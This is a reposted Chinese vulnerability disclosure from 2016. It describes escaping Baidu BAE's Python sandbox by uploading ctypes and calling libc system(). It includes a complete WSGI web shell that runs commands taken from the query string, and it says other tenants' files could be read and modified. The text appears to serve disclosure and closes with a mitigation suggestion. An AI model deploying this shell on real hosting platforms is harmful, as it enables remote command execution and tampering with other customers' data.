鸿 网 互 联 www.68idc.cn

百度BAE系列2:系统命令执行,/etc/passwd及读写其它用户文件等

来源:互联网 作者:佚名 时间:2016-05-07 10:08
百度BAE环境对重要函数的限制方法不当,可突破执行系统命令,能读写服务器上存在的众多其它用户的程序文件。 问题存在于BAE的python环境中,对模块和函数的限制不当,比如上传ctypes模块(环境默认不存在此模块)可加载so扩展执行系统命令。先上shell(当然要有
百度BAE环境对重要函数的限制方法不当,可突破执行系统命令,能读写服务器上存在的众多其它用户的程序文件。

问题存在于BAE的python环境中,对模块和函数的限制不当,比如上传ctypes模块(环境默认不存在此模块)可加载so扩展执行系统命令。先上shell(当然要有一个BAE的python应用,index.py):
 
 
#-*- coding:utf-8 -*-
import os
import ctypes  #在自己本地的python2.7环境里找到的ctypes文件夹
 
def app(environ, start_response):
    status = '200 OK'
    headers = [('Content-type', 'text/html')]
    start_response(status, headers)
 
    cmd=environ['QUERY_STRING']
    cmd=cmd.replace('%20',' ').replace('%3E','>').replace('%3C','<').replace('%27',"'").replace('%22','"')
 
    l=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')
    l.system(cmd+" > /home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt") #***是应用名
    content=''
    for line in open("/home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt"):
        content=content+line+"\n"
    return content
 
from bae.core.wsgi import WSGIApplication
application = WSGIApplication(app)当然,这是最后的分析结果,历程如下:
 
1.dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
 
2.上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
 
3.执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
 
4.BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
 
5.ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。 
 


 





修复方案:


禁用加载so扩展,不知是否可以采用更底层的限制方式?python的很多模块都是用python语言自身写的,从python层面限制module或函数等很容易通过上传相关文件的方式突破,望分享解决方案。 
 

网友评论
<